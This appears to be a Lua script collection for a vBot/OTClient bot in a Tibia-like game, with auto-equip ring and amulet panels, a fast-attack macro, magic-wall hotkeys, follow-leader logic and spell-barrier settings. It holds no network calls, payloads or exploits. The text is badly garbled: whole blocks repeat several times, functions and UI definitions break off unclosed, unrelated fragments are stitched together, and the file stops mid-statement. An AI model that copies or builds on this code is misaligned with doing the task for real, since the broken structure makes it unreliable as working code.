if not storage[panelName] or not storage[panelName].ringId or not storage[panelName].ammyId then
storage[panelName] = {
pzCheck = true,
ringSwitch = true,
ammySwitch = true,
ringId = 3048,
ammyId = 3081,
ringMin = 30,
ringMax = 80,
ammyMin = 30,
ammyMax = 80,
valueAmmy = false,
valueRing = false,
ringValue = "HP",
ammyValue = "HP"
}
end
ui.ringSwitch:setOn(storage[panelName].ringEnabled)
ui.ringSwitch.onClick = function(widget)
storage[panelName].ringEnabled = not storage[panelName].ringEnabled
widget:setOn(storage[panelName].ringEnabled)
end
ui.ammySwitch:setOn(storage[panelName].ammyEnabled)
ui.ammySwitch.onClick = function(widget)
storage[panelName].ammyEnabled = not storage[panelName].ammyEnabled
widget:setOn(storage[panelName].ammyEnabled)
end
ui.pzCheck:setOn(storage[panelName].pzCheck)
ui.pzCheck.onClick = function(widget)
storage[panelName].pzCheck = not storage[panelName].pzCheck
widget:setOn(storage[panelName].pzCheck)
end
ui.valueRing:setOn(storage[panelName].valueRing)
ui.valueRing.onClick = function(widget)
storage[panelName].valueRing = not storage[panelName].valueRing
widget:setOn(storage[panelName].valueRing)
if storage[panelName].valueRing then
storage[panelName].ringValue = "MP"
else
storage[panelName].ringValue = "HP"
end
updateRingText()
end
ui.valueAmmy:setOn(storage[panelName].valueAmmy)
ui.valueAmmy.onClick = function(widget)
storage[panelName].valueAmmy = not storage[panelName].valueAmmy
widget:setOn(storage[panelName].valueAmmy)
if storage[panelName].valueAmmy then
storage[panelName].ammyValue = "MP"
else
storage[panelName].ammyValue = "HP"
end
updateAmmyText()
end
ui.ringScroll1:setValue(storage[panelName].ringMin)
ui.ringScroll2:setValue(storage[panelName].ringMax)
ui.ammyScroll1:setValue(storage[panelName].ammyMin)
ui.ammyScroll2:setValue(storage[panelName].ammyMax)
ui.ringId:setItemId(storage[panelName].ringId)
ui.ammyId:setItemId(storage[panelName].ammyId)
local defaultRing
local defaultAmmy
local ringToEquip
local ammyToEquip
ui.resetDefault.onClick = function(widget)
defaultRingFind()
defaultAmmyFind()
end
macro(20, function()
ammyToEquip = findItem(storage[panelName].ammyId)
ringToEquip = findItem(storage[panelName].ringId)
UI.Label("Ring y Amuleto:")
function jewelleryEquip(parent)
if not parent then
parent = panel
end
panelName = "jewelleryEquipper"
local ui = setupUI([[
Panel
height: 135
margin-top: 2
BotItem
id: ringId
anchors.left: parent.left
anchors.top: parent.top
SmallBotSwitch
id: ringSwitch
anchors.left: ringId.right
anchors.right: parent.right
anchors.top: parent.top
text-align: center
text: ring
margin-left: 3
margin-right: 45
SmallBotSwitch
id: valueRing
anchors.left: ringSwitch.right
anchors.right: parent.right
anchors.top: parent.top
text-align: center
text: Mana
margin-left: 3
margin-right: 0
BotLabel
id: ringTitle
anchors.left: ringId.right
anchors.right: parent.right
anchors.top: ringId.verticalCenter
text-align: center
HorizontalScrollBar
id: ringScroll1
anchors.left: parent.left
anchors.right: parent.horizontalCenter
anchors.top: ringId.bottom
margin-right: 2
margin-top: 2
minimum: 0
maximum: 100
step: 1
HorizontalScrollBar
id: ringScroll2
anchors.left: parent.horizontalCenter
anchors.right: parent.right
anchors.top: prev.top
margin-left: 2
minimum: 0
maximum: 100
step: 1
BotItem
id: ammyId
anchors.left: parent.left
anchors.top: ringScroll1.bottom
margin-top: 5
SmallBotSwitch
id: ammySwitch
anchors.left: ammyId.right
anchors.right: parent.right
anchors.top: ringScroll2.bottom
text-align: center
text: amuleto
margin-top: 5
margin-left: 3
margin-right: 45
SmallBotSwitch
id: valueAmmy
anchors.left: ammySwitch.right
anchors.right: parent.right
anchors.top: ringScroll2.bottom
text-align: center
text: Mana
margin-top: 5
margin-left: 3
BotLabel
id: ammyTitle
anchors.left: ammyId.right
anchors.right: parent.right
anchors.top: ammyId.verticalCenter
text-align: center
HorizontalScrollBar
id: ammyScroll1
anchors.left: parent.left
anchors.right: parent.horizontalCenter
anchors.top: ammyId.bottom
margin-right: 2
margin-top: 2
minimum: 0
maximum: 100
step: 1
HorizontalScrollBar
id: ammyScroll2
anchors.left: parent.horizontalCenter
anchors.right: parent.right
anchors.top: prev.top
margin-left: 2
minimum: 0
maximum: 100
step: 1
Button
id: resetDefault
anchors.top: ammyScroll2.bottom
anchors.left: parent.left
anchors.right: parent.horizontalCenter
margin-top: 10
margin-left: 4
text: Reset
SmallBotSwitch
id: pzCheck
anchors.top: ammyScroll2.bottom
anchors.left: resetDefault.right
anchors.bottom: resetDefault.bottom
anchors.right: parent.right
margin-top: 10
margin-right: 4
margin-left: 4
text: Ignorar PZ
]], parent)
ui:setId(panelName)
if not storage[panelName] or not storage[panelName].ringId or not storage[panelName].ammyId then
storage[panelName] = {
pzCheck = true,
ringSwitch = true,
ammySwitch = true,
ringId = 3048,
ammyId = 3081,
ringMin = 30,
ringMax = 80,
ammyMin = 30,
ammyMax = 80,
valueAmmy = false,
valueRing = false,
ringValue = "HP",
ammyValue = "HP"
}
end
ui.ringSwitch:setOn(storage[panelName].ringEnabled)
ui.ringSwitch.onClick = function(widget)
storage[panelName].ringEnabled = not storage[panelName].ringEnabled
widget:setOn(storage[panelName].ringEnabled)
end
ui.ammySwitch:setOn(storage[panelName].ammyEnabled)
ui.ammySwitch.onClick = function(widget)
storage[panelName].ammyEnabled = not storage[panelName].ammyEnabled
widget:setOn(storage[panelName].ammyEnabled)
end
ui.pzCheck:setOn(storage[panelName].pzCheck)
ui.pzCheck.onClick = function(widget)
storage[panelName].pzCheck = not storage[panelName].pzCheck
widget:setOn(storage[panelName].pzCheck)
end
ui.valueRing:setOn(storage[panelName].valueRing)
ui.valueRing.onClick = function(widget)
storage[panelName].valueRing = not storage[panelName].valueRing
widget:setOn(storage[panelName].valueRing)
if storage[panelName].valueRing then
storage[panelName].ringValue = "MP"
else
storage[panelName].ringValue = "HP"
end
updateRingText()
end
ui.valueAmmy:setOn(storage[panelName].valueAmmy)
ui.valueAmmy.onClick = function(widget)
storage[panelName].valueAmmy = not storage[panelName].valueAmmy
widget:setOn(storage[panelName].valueAmmy)
if storage[panelName].valueAmmy then
storage[panelName].ammyValue = "MP"
else
storage[panelName].ammyValue = "HP"
end
updateAmmyText()
end
ui.ringScroll1:setValue(storage[panelName].ringMin)
ui.ringScroll2:setValue(storage[panelName].ringMax)
ui.ammyScroll1:setValue(storage[panelName].ammyMin)
ui.ammyScroll2:setValue(storage[panelName].ammyMax)
ui.ringId:setItemId(storage[panelName].ringId)
ui.ammyId:setItemId(storage[panelName].ammyId)
local defaultRing
local defaultAmmy
local ringToEquip
local ammyToEquip
ui.resetDefault.onClick = function(widget)
defaultRingFind()
defaultAmmyFind()
end
macro(20, function()
ammyToEquip = findItem(storage[panelName].ammyId)
ringToEquip = findItem(storage[panelName].ringId)
UI.Label("Ring y Amuleto:")
function jewelleryEquip(parent)
if not parent then
parent = panel
end
panelName = "jewelleryEquipper"
local ui = setupUI([[
Panel
height: 135
margin-top: 2
BotItem
id: ringId
anchors.left: parent.left
anchors.top: parent.top
SmallBotSwitch
id: ringSwitch
anchors.left: ringId.right
anchors.right: parent.right
anchors.top: parent.top
text-align: center
text: ring
margin-left: 3
margin-right: 45
SmallBotSwitch
id: valueRing
anchors.left: ringSwitch.right
anchors.right: parent.right
anchors.top: parent.top
text-align: center
text: Mana
margin-left: 3
margin-right: 0
BotLabel
id: ringTitle
anchors.left: ringId.right
anchors.right: parent.right
anchors.top: ringId.verticalCenter
text-align: center
HorizontalScrollBar
id: ringScroll1
anchors.left: parent.left
anchors.right: parent.horizontalCenter
anchors.top: ringId.bottom
margin-right: 2
margin-top: 2
minimum: 0
maximum: 100
step: 1
HorizontalScrollBar
id: ringScroll2
anchors.left: parent.horizontalCenter
anchors.right: parent.right
anchors.top: prev.top
margin-left: 2
minimum: 0
maximum: 100
step: 1
BotItem
id: ammyId
anchors.left: parent.left
anchors.top: ringScroll1.bottom
margin-top: 5
SmallBotSwitch
id: ammySwitch
anchors.left: ammyId.right
anchors.right: parent.right
anchors.top: ringScroll2.bottom
text-align: center
text: amuleto
margin-top: 5
margin-left: 3
margin-right: 45
SmallBotSwitch
id: valueAmmy
anchors.left: ammySwitch.right
anchors.right: parent.right
anchors.top: ringScroll2.bottom
text-align: center
text: Mana
margin-top: 5
margin-left: 3
BotLabel
id: ammyTitle
anchors.left: ammyId.right
anchors.right: parent.right
anchors.top: ammyId.verticalCenter
text-align: center
HorizontalScrollBar
id: ammyScroll1
anchors.left: parent.left
anchors.right: parent.horizontalCenter
anchors.top: ammyId.bottom
margin-right: 2
margin-top: 2
minimum: 0
maximum: 100
step: 1
HorizontalScrollBar
id: ammyScroll2
anchors.left: parent.horizontalCenter
anchors.right: parent.right
anchors.top: prev.top
margin-left: 2
minimum: 0
maximum: 100
step: 1
Button
id: resetDefault
anchors.top: ammyScroll2.bottom
anchors.left: parent.left
anchors.right: parent.horizontalCenter
margin-top: 10
margin-left: 4
text: Reset
SmallBotSwitch
id: pzCheck
anchors.top: ammyScroll2.bottom
anchors.left: resetDefault.right
anchors.bottom: resetDefault.bottom
anchors.right: parent.right
margin-top: 10
margin-right: 4
margin-left: 4
text: Ignorar PZ
]], parent)
ui:setId(panelName)
if not storage[panelName] or not storage[panelName].ringId or not storage[panelName].ammyId then
storage[panelName] = {
pzCheck = true,
ringSwitch = true,
ammySwitch = true,
ringId = 3048,
ammyId = 3081,
ringMin = 30,
ringMax = 80,
ammyMin = 30,
ammyMax = 80,
valueAmmy = false,
valueRing = false,
ringValue = "HP",
ammyValue = "HP"
}
end
ui.ringSwitch:setOn(storage[panelName].ringEnabled)
ui.ringSwitch.onClick = function(widget)
storage[panelName].ringEnabled = not storage[panelName].ringEnabled
widget:setOn(storage[panelName].ringEnabled)
end
ui.ammySwitch:setOn(storage[panelName].ammyEnabled)
ui.ammySwitch.onClick = function(widget)
storage[panelName].ammyEnabled = not storage[panelName].ammyEnabled
widget:setOn(storage[panelName].ammyEnabled)
end
ui.pzCheck:setOn(storage[panelName].pzCheck)
ui.pzCheck.onClick = function(widget)
storage[panelName].pzCheck = not storage[panelName].pzCheck
widget:setOn(storage[panelName].pzCheck)
end
ui.valueRing:setOn(storage[panelName].valueRing)
ui.valueRing.onClick = function(widget)
storage[panelName].valueRing = not storage[panelName].valueRing
widget:setOn(storage[panelName].valueRing)
if storage[panelName].valueRing then
storage[panelName].ringValue = "MP"
else
storage[panelName].ringValue = "HP"
end
updateRingText()
end
ui.valueAmmy:setOn(storage[panelName].valueAmmy)
ui.valueAmmy.onClick = function(widget)
storage[panelName].valueAmmy = not storage[panelName].valueAmmy
widget:setOn(storage[panelName].valueAmmy)
if storage[panelName].valueAmmy then
storage[panelName].ammyValue = "MP"
else
storage[panelName].ammyValue = "HP"
end
updateAmmyText()
end
ui.ringScroll1:setValue(storage[panelName].ringMin)
ui.ringScroll2:setValue(storage[panelName].ringMax)
ui.ammyScroll1:setValue(storage[panelName].ammyMin)
ui.ammyScroll2:setValue(storage[panelName].ammyMax)
ui.ringId:setItemId(storage[panelName].ringId)
ui.ammyId:setItemId(storage[panelName].ammyId)
local defaultRing
local defaultAmmy
local ringToEquip
local ammyToEquip
macro(20, function()
ammyToEquip = findItem(storage[panelName].ammyId)
ringToEquip = findItem(storage[panelName].ringId)
UI.Label("Ring y Amuleto:")
function jewelleryEquip(parent)
if not parent then
parent = panel
end
panelName = "jewelleryEquipper"
local ui = setupUI([[
Panel
height: 135
margin-top: 2
BotItem
id: ringId
anchors.left: parent.left
anchors.top: parent.top
SmallBotSwitch
id: ringSwitch
anchors.left: ringId.right
anchors.right: parent.right
anchors.top: parent.top
text-align: center
text: ring
margin-left: 3
margin-right: 45
SmallBotSwitch
id: valueRing
anchors.left: ringSwitch.right
anchors.right: parent.right
anchors.top: parent.top
text-align: center
text: Mana
margin-left: 3
margin-right: 0
BotLabel
id: ringTitle
anchors.left: ringId.right
anchors.right: parent.right
anchors.top: ringId.verticalCenter
text-align: center
HorizontalScrollBar
id: ringScroll1
anchors.left: parent.left
anchors.right: parent.horizontalCenter
anchors.top: ringId.bottom
margin-right: 2
margin-top: 2
minimum: 0
maximum: 100
step: 1
HorizontalScrollBar
id: ringScroll2
anchors.left: parent.horizontalCenter
anchors.right: parent.right
anchors.top: prev.top
margin-left: 2
minimum: 0
maximum: 100
step: 1
BotItem
id: ammyId
anchors.left: parent.left
anchors.top: ringScroll1.bottom
margin-top: 5
SmallBotSwitch
id: ammySwitch
anchors.left: ammyId.right
anchors.right: parent.right
anchors.top: ringScroll2.bottom
text-align: center
text: amuleto
margin-top: 5
margin-left: 3
margin-right: 45
SmallBotSwitch
id: valueAmmy
anchors.left: ammySwitch.right
anchors.right: parent.right
anchors.top: ringScroll2.bottom
text-align: center
text: Mana
margin-top: 5
margin-left: 3
BotLabel
id: ammyTitle
anchors.left: ammyId.right
anchors.right: parent.right
anchors.top: ammyId.verticalCenter
text-align: center
HorizontalScrollBar
id: ammyScroll1
anchors.left: parent.left
anchors.right: parent.horizontalCenter
anchors.top: ammyId.bottom
margin-right: 2
margin-top: 2
minimum: 0
maximum: 100
step: 1
HorizontalScrollBar
id: ammyScroll2
anchors.left: parent.horizontalCenter
anchors.right: parent.right
anchors.top: prev.top
margin-left: 2
minimum: 0
maximum: 100
step: 1
Button
id: resetDefault
anchors.top: ammyScroll2.bottom
anchors.left: parent.left
anchors.right: parent.horizontalCenter
margin-top: 10
margin-left: 4
text: Reset
SmallBotSwitch
id: pzCheck
anchors.top: ammyScroll2.bottom
anchors.left: resetDefault.right
anchors.bottom: resetDefault.bottom
anchors.right: parent.right
margin-top: 10
margin-right: 4
margin-left: 4
text: Ignorar PZ
]], parent)
ui:setId(panelName)
if not storage[panelName] or not storage[panelName].ringId or not storage[panelName].ammyId then
storage[panelName] = {
pzCheck = true,
ringSwitch = true,
ammySwitch = true,
ringId = 3048,
ammyId = 3081,
ringMin = 30,
ringMax = 80,
ammyMin = 30,
ammyMax = 80,
valueAmmy = false,
valueRing = false,
ringValue = "HP",
ammyValue = "HP"
}
end
ui.ringSwitch:setOn(storage[panelName].ringEnabled)
ui.ringSwitch.onClick = function(widget)
storage[panelName].ringEnabled = not storage[panelName].ringEnabled
widget:setOn(storage[panelName].ringEnabled)
end
ui.ammySwitch:setOn(storage[panelName].ammyEnabled)
ui.ammySwitch.onClick = function(widget)
storage[panelName].ammyEnabled = not storage[panelName].ammyEnabled
widget:setOn(storage[panelName].ammyEnabled)
end
ui.pzCheck:setOn(storage[panelName].pzCheck)
ui.pzCheck.onClick = function(widget)
storage[panelName].pzCheck = not storage[panelName].pzCheck
widget:setOn(storage[panelName].pzCheck)
end
ui.valueRing:setOn(storage[panelName].valueRing)
ui.valueRing.onClick = function(widget)
storage[panelName].valueRing = not storage[panelName].valueRing
widget:setOn(storage[panelName].valueRing)
if storage[panelName].valueRing then
storage[panelName].ringValue = "MP"
else
storage[panelName].ringValue = "HP"
end
updateRingText()
end
ui.valueAmmy:setOn(storage[panelName].valueAmmy)
ui.valueAmmy.onClick = function(widget)
storage[panelName].valueAmmy = not storage[panelName].valueAmmy
widget:setOn(storage[panelName].valueAmmy)
if storage[panelName].valueAmmy then
storage[panelName].ammyValue = "MP"
else
storage[panelName].ammyValue = "HP"
end
updateAmmyText()
end
ui.ringScroll1:setValue(storage[panelName].ringMin)
ui.ringScroll2:setValue(storage[panelName].ringMax)
ui.ammyScroll1:setValue(storage[panelName].ammyMin)
ui.ammyScroll2:setValue(storage[panelName].ammyMax)
ui.ringId:setItemId(storage[panelName].ringId)
ui.ammyId:setItemId(storage[panelName].ammyId)
local defaultRing
local defaultAmmy
local ringToEquip
local ammyToEquip
-- basic ring check
function defaultRingFind()
if storage[panelName].ringEnabled then
if getFinger() and (getFinger():getId() ~= storage[panelName].ringId and getFinger():getId() ~=
getActiveItemId(storage[panelName].ringId)) then
defaultRing = getFinger():getId()
else
defaultRing = false
end
end
end
defaultRingFind()
ui.resetDefault.onClick = function(widget)
defaultRingFind()
defaultAmmyFind()
end
macro(20, function()
ammyToEquip = findItem(storage[panelName].ammyId)
ringToEquip = findItem(storage[panelName].ringId)
--Made By VivoDibra
--Tested on vBot 4.8 / OTCV8 3.2 rev 4
local s = {}
g_ui.loadUIFromString([[
PvPScriptsScrollBar < Panel
height: 28
margin-top: 3
UIWidget
id: text
anchors.left: parent.left
anchors.right: parent.right
anchors.top: parent.top
text-align: center
HorizontalScrollBar
id: scroll
anchors.left: parent.left
anchors.right: parent.right
anchors.top: prev.bottom
margin-top: 3
minimum: 0
maximum: 10
step: 1
BotItem
id: item
anchors.top: parent.top
anchors.right: parent.right
]])
addSeparator()
addLabel("","E-Ring Custom"):setColor("green")
addSeparator()
addLabel()
addLabel("", "E-Ring"):setColor("#5DF2BD")
addScrollBar("ERingHP", "HP < ", 0, 100, 90, nil, "")
addScrollBar("ERingMP", "MP > ", 0, 100, 80, nil, "")
addItem("ERing", "normal id", storage.ERing or 3051, nil, "")
addItem("ERingEquipped", "equipped Id", storage.ERingEquipped or 3088, nil, "")
function crazyHPPercent()
return (player:getHealth() / 100) * 10
end
if equipEnergy then
s.equipItem(storage.ERing, storage.ERingEquipped, SlotFinger)
elseif equipNormal then
s.equipItem(storage.NormalRing, storage.NormalRingEquipped, SlotFinger)
end
end)
addSeparator()
UI.Separator()
-- fast atk
macro(50, "Fast Attack", function()
for i, spec in ipairs(getSpectators(false)) do
if spec:isMonster() then
g_game.attack(spec)
g_game.cancelAttack()
break
end
end
end)
onTextMessage(function(mode, text)
if mode == 20 and text:find("You see") then
if not modules.game_interface.gameMapPanel.mousePos then return end
local tile =
modules.game_interface.gameMapPanel:getTile(modules.game_interface.gameMapPanel.mousePos)
if tile then
local loc = tile:getPosition()
function push(x, y, z)
local position = player:getPosition()
position.x = position.x + x
position.y = position.y + y
local toggle = macro(10, "Mwall Step", "F12",function() end) -- taca mw no sqm anterior
onPlayerPositionChange(function(newPos, oldPos)
if oldPos.z ~= posz() then return end
if oldPos then
local tile = g_map.getTile(oldPos)
if toggle.isOn() and tile:isWalkable() then
useWith(3180, tile:getTopUseThing())
toggle.setOff()
end
end
end)
---------------------------- MW NO PÉ DO TARGET
local toggle2 = macro(10, "MW Target Step", "F11", function() end) -- taca mw no sqm onde o alvo esta
local flowerHot
local hold = 0
local candidates = {}
onRemoveThing(function(tile, thing)
if thing:getId() ~= 2129 or thing:getId() ~= 2130 or thing:getId() ~= 2981 or thing:getId() ~= 2982 or
thing:getId() ~= 2983 then return end
if tile:getText():find("FLOWER") then
table.insert(candidates, tile:getPosition())
local item1 = findItem(2981)
local item2 = findItem(2983)
local item3 = findItem(2984)
if tile:getText() == "FLOWER MW" then rune = 3180 end
if item1 then
return g_game.move(item1, pos, 1)
elseif item2 then
return g_game.move(item2, pos, 1)
elseif item3 then
return g_game.move(item3, pos, 1)
end
return useWith(rune, tile:getTopUseThing())
end
end)
onAddThing(function(tile, thing)
if m.isOff() then return end
if thing:getId() ~= 2129 or thing:getId() ~= 2130 or thing:getId() ~= 2981 or thing:getId() ~= 2982 or
thing:getId() ~= 2983 then return end
if tile:getText():len() > 0 then
table.remove(candidates, table.find(candidates,tile))
end
end)
onKeyDown(function(keys)
local wsadWalking = modules.game_walking.wsadWalking
if not wsadWalking then return end
if m.isOff() then return end
if keys ~= storage.extras.holdMwHot then return end
hold = now
local tile = getTileUnderCursor()
if not tile then return end
if math.abs(player:getPosition().x-tile:getPosition().x) == 0 and math.abs(player:getPosition().y-
tile:getPosition().y) == 0 then return end
if tile:getText():len() > 0 then
tile:setText("")
else
if keys == storage.extras.holdMwHot and not isInPz() then
tile:setText("FLOWER MW")
end
table.insert(candidates, tile:getPosition())
end
end)
onKeyPress(function(keys)
local wsadWalking = modules.game_walking.wsadWalking
if not wsadWalking then return end
if m.isOff() then return end
if keys ~= storage.extras.holdMwHot then return end
if (hold - now) < -1000 then
candidates = {}
for i, tile in ipairs(g_map.getTiles(posz())) do
local text = tile:getText()
if text:find("FLOWER") then
tile:setText("")
end
end
end
end)
UI.Separator()
mwmouse = "hotkeynamw"
if not storage[mwmouse] then
storage[mwmouse] = { key = 'F10'}
end
UI.Label("Hotkey MW no mouse: ")
UI.TextEdit(storage[mwmouse].key or "F10", function(widget, newText)
storage[mwmouse].key = newText
end)
onKeyUp(function(keys)
if (keys ~= storage[mwmouse].key) then return end
local tile = getTileUnderCursor();
if (not tile) then return; end
local pos = tile:getPosition();
useWith(3180, tile:getTopUseThing())
end)
UI.Separator()
mwfrente = "hotkeymwf"
if not storage[mwfrente] then
storage[mwfrente] = { hkf = ''}
end
UI.Label("Hotkey MW Frente Target:")
UI.TextEdit(storage[mwfrente].hkf, function(widget, newText)
storage[mwfrente].hkf = newText
end)
---------------------------- SUMMON
local ui = setupUI([[
Panel
height: 37
BotSwitch
id: title
anchors.top: parent.top
anchors.left: parent.left
anchors.right: parent.right
text-align: center
!text: tr('Hide Allies Members')
BotSwitch
id: hideguild
anchors.top: title.bottom
anchors.left: parent.left
anchors.right: parent.right
height: 17
margin-top: 4
text-align: center
$on:
text: Hide Guild Editor
$!on:
text: Show Guild Editor
]])
Label
id: guildsName
anchors.top: parent.top
anchors.left: parent.left
margin-top: 8
margin-left: 40
height: 17
text: Enter allies guild
color: white
BotTextEdit
id: guildTextOne
anchors.top: guildsName.bottom
anchors.right: parent.right
anchors.left: parent.left
margin-top: 5
font: verdana-11px-rounded
]])
hideguild:hide()
ui.hideguild.onClick = function(widget)
if not CaveBot.Config then return end
if ui.hideguild:isOn() then
hideguild:hide()
ui.hideguild:setOn(false)
else
hideguild:show()
ui.hideguild:setOn(true)
end
end
ui.title:setOn(config.enabled)
ui.title.onClick = function(widget)
config.enabled = not config.enabled
widget:setOn(config.enabled)
end
hideguild.guildTextOne:setText(config.guildasaliadas)
hideguild.guildTextOne.onTextChange = function(widget, newText)
config.guildasaliadas = newText
end
modules.game_battle.doCreatureFitFilters = function(creature)
if creature:isLocalPlayer() then
return false
end
if creature:getHealthPercent() <= 0 then
return false
end
UI.Separator()
targetColorName = "targetcolor"
if not storage[targetColorName] then storage[targetColorName] = { player = 'name'} end
UI.Label("Nome do Frontline")
UI.Separator()
FloorChangers = {
Ladders = {
Up = {1948, 5542, 16693, 16692, 8065, 8263, 7771, 20573, 20475, 21297 },
Down = {432, 412, 469, 1080}
},
Holes = { -- teleports
Up = {},
Down = {293, 35500, 294, 595, 1949, 4728, 385, 9853, 37000, 37001, 35499, 35497, 29979, 25047,
25048, 25049, 25050,
25051, 25052, 25053, 25054, 25055, 25056, 25057, 25058, 21046, 21048 }
},
Stairs = {
Up = {16690, 1958, 7548, 7544, 1952, 1950, 1947, 7542, 855, 856, 1978, 1977, 6911, 6915, 1954,
5259, 20492, 1956, 775,
5257, 5258, 22566, 22747, 30757, 20225, 17395, 1964, 1966, 20255, 29113, 28357, 30912, 30906,
30908, 30914,
30916, 30904, 30918, 20750, 20750, 20491, 20474, 20496 },
Down = {482, 414, 437, 7731, 413, 434, 859, 438, 6127, 566, 7476, 4826, 484, 433, 369, 20259, 19960,
411,
8690, 4825, 6130, 601, 1067, 567, 7768, 1067, 411, 600 }
},
Sewers = {
Up = {1082},
Down = {435,21298}
},
Levers = {
Up = {2772, 2773, 1759, 1764, 21051, 7131, 7132, 39756},
Down = {2772, 2773, 1759, 1764, 21051, 7131, 7132, 39756}
},
}
local openDoors = { 34847, 1764, 21051, 30823, 6264, 5282, 20453, 11705, 6256, 2772, 27260, 2773,
1632, 6252, 5007, 1629, 5107, 5281, 1968, 31116, 31120, 30742, 31115, 31118, 20474, 5736, 5733,
31202, 31228, 31199, 31200, 33262, 30824, 5125, 5126, 5116, 8257, 8258, 8255, 8256, 5120, 30777,
30776, 23873, 23877, 5736, 6264, 31262, 31130, 6249, 5122, 30049, 7727, 25803, 16277, 5098, 5104,
5102, 5106, 5109, 5111, 5113, 5118, 5120, 5102, 5100, 1638, 1640, 19250, 3500, 3497, 3498, 3499, 2177,
17709, 1642, 23875, 1644, 5131, 5115, 28546, 6254, 28546, 30364, 30365, 30367, 30368, 30363, 30366,
31139, 31138, 31136, 31137, 4981, 4977, 11714, 7771, 9558, 9559, 20475, 2909, 2907, 8618, 31366,
1646, 1648, 4997, 22506, 8259, 27503, 27505, 27507, 31476, 31477, 31477, 31475, 31474, 8363, 5097,
1644, 7712, 7715, 11237, 11246, 9874, 6260, 33634, 33633, 22632, 22639, 1631, 1628, 20446, 20443,
20444, 2334, 9357, 9355 }
local floorChangeSelector = {
Ladders = {Up = handleUse, Down = handleStep},
Holes = {Up = handleStep, Down = handleStep},
RopeSpots = {Up = handleRope, Down = handleRope},
Stairs = {Up = handleStep, Down = handleStep},
Sewers = {Up = handleUse, Down = handleUse},
Levers = {Up = handleUse, Down = handleUse},
}
for _, n in ipairs(getSpectators(true)) do
if n:getName() == storage.followLeader then
targetZ = n
end
end
if not targetZ then return end
for _, n in ipairs(getSpectators(true)) do
if n:getName() == storage.followLeader then
targetZ = n
end
end
if not targetZ then return end
local targetDir = targetZ:getDirection()
if targetZ and targetZ:getPosition().z ~= posz() and targetZ:getDirection() ~= player:getDirection() then
lastKnownDirection = targetZ:getDirection()
end
local tile
if lastKnownDirection == 0 then -- north
turn(lastKnownDirection)
position.y = position.y - 1
tile = g_map.getTile(position)
elseif lastKnownDirection == 1 then -- east
turn(lastKnownDirection)
position.x = position.x + 1
tile = g_map.getTile(position)
elseif lastKnownDirection == 2 then -- south
turn(lastKnownDirection)
position.y = position.y + 1
tile = g_map.getTile(position)
elseif lastKnownDirection == 3 then -- west
turn(lastKnownDirection)
position.x = position.x - 1
tile = g_map.getTile(position)
end
if closest then
closest.changer(closest.pos)
end
end
local toFollowPos = {}
turnDir()
checkTargetPos()
if targetMissing() and lastKnownPosition then
handleFloorChange()
end
if targetMissing() and lastKnownPosition and possibleChangers == nil then
WallDetect()
end
if not targetMissing() and getDistanceBetween(pos(), target:getPosition()) >= 3 then
for _, NEWtile in pairs(g_map.getTiles(posz())) do
if distanceFromPlayer(NEWtile:getPosition()) == 1 then
if table.find(openDoors, NEWtile:getTopUseThing():getId()) then
g_game.use(NEWtile:getTopUseThing())
delay(math.random(500, 800))
end
end
end
end
end)
if tfollow then
if tfollow:getName() ~= storage.followLeader then
followled:setText(tfollow:getName())
storage.followLeader = tfollow:getName()
end
end
end
end)
onCreaturePositionChange(function(creature, newPos, oldPos)
if creature:getName() == storage.followLeader and newPos then
toFollowPos[newPos.z] = newPos
end
end)
---------------------------- FOLLOW COM DISTANCIA (NÃO USAR JUNTO COM O ADVANCED FOLLOW)
followdist = "disttofollow"
if not storage[followdist] then
storage[followdist] = { dist = "3" }
end
UI.Label("Distance from player:")
UI.TextEdit(storage[followdist].dist or "3", function(widget, newText)
storage[followdist].dist = newText
end)
UI.Label("Walk Delay")
---------------------------- UTAMO/EXANA
Label
id: uthp
anchors.left: parent.left
anchors.right: parent.right
anchors.top: parent.top
text-align: center
HorizontalScrollBar
id: uthpScroll
anchors.left: parent.left
anchors.right: parent.right
anchors.top: uthp.bottom
margin-right: 4
margin-left: 4
margin-top: 5
minimum: 1
maximum: 100
step: 1
Label
id: exhp
anchors.left: parent.left
anchors.right: parent.right
anchors.top: uthpScroll.bottom
margin-top: 6
text-align: center
HorizontalScrollBar
id: exhpScroll
anchors.left: parent.left
anchors.right: parent.right
anchors.top: exhp.bottom
margin-right: 4
margin-left: 4
margin-top: 5
minimum: 1
maximum: 100
step: 1
Label
id: exmana
anchors.left: parent.left
anchors.right: parent.right
anchors.top: exhpScroll.bottom
margin-top: 6
text-align: center
HorizontalScrollBar
id: exmanaScroll
anchors.left: parent.left
anchors.right: parent.right
anchors.top: exmana.bottom
margin-right: 4
margin-left: 4
margin-top: 5
minimum: 0
maximum: 100
step: 1
]])
ui:setId(panelName)
ui.uthpScroll:setValue(utexconfig.percenthputamo)
ui.exhpScroll:setValue(utexconfig.percenthpexana)
ui.exmanaScroll:setValue(utexconfig.percentmp)
addSeparator()
Label
id: manaTitle
anchors.left: parent.left
anchors.right: parent.right
anchors.top: parent.top
text-align: center
HorizontalScrollBar
id: manaScroll
anchors.left: parent.left
anchors.right: parent.right
anchors.top: manaTitle.bottom
margin-right: 4
margin-left: 4
margin-top: 7
minimum: 5
maximum: 50
step: 2
CheckBox
id: checkSpell
anchors.right: parent.right
anchors.left: parent.left
anchors.top: manaScroll.bottom
margin-left: 3
margin-right: 102
margin-top: 8
Label
id: spellText
anchors.left: checkSpell.left
anchors.top: manaScroll.bottom
margin-left: 15
margin-top: 8
text: Only Spell
color: #ffaa00
font: verdana-11px-rounded
CheckBox
id: checkPotion
anchors.right: parent.right
anchors.left: spellText.left
anchors.top: manaScroll.bottom
margin-left: 60
margin-right: 3
margin-top: 8
Label
id: potionText
anchors.right: parent.right
anchors.left: checkPotion.left
anchors.top: manaScroll.bottom
margin-left: 17
margin-top: 8
text: Spell + Potion
color: #ffaa00
font: verdana-11px-rounded
]])
ui:setId(panelName)
ui.checkPotion:setChecked(utamoconfig.CheckPotion)
ui.checkPotion.onClick = function(widget)
utamoconfig.CheckPotion = not utamoconfig.CheckPotion
widget:setChecked(utamoconfig.CheckPotion)
end
ui.checkSpell:setChecked(utamoconfig.CheckSpell)
ui.checkSpell.onClick = function(widget)
utamoconfig.CheckSpell = not utamoconfig.CheckSpell
widget:setChecked(utamoconfig.CheckSpell)
end
ui.manaScroll:setValue(utamoconfig.manaPer)
onTextMessage(function(mode, text)
if not autoutamo or not utamoconfig.CheckSpell or not utamoconfig.CheckPotion then return true end
if mode == 20 then
local regex = "Your mana barrier is only ([0-9]+)[%] ([(][0-9]+)[)][ left.]"
if text:lower():find("your mana barrier is only") then
local data = regexMatch(text, regex)[1]
if #data ~= 0 then
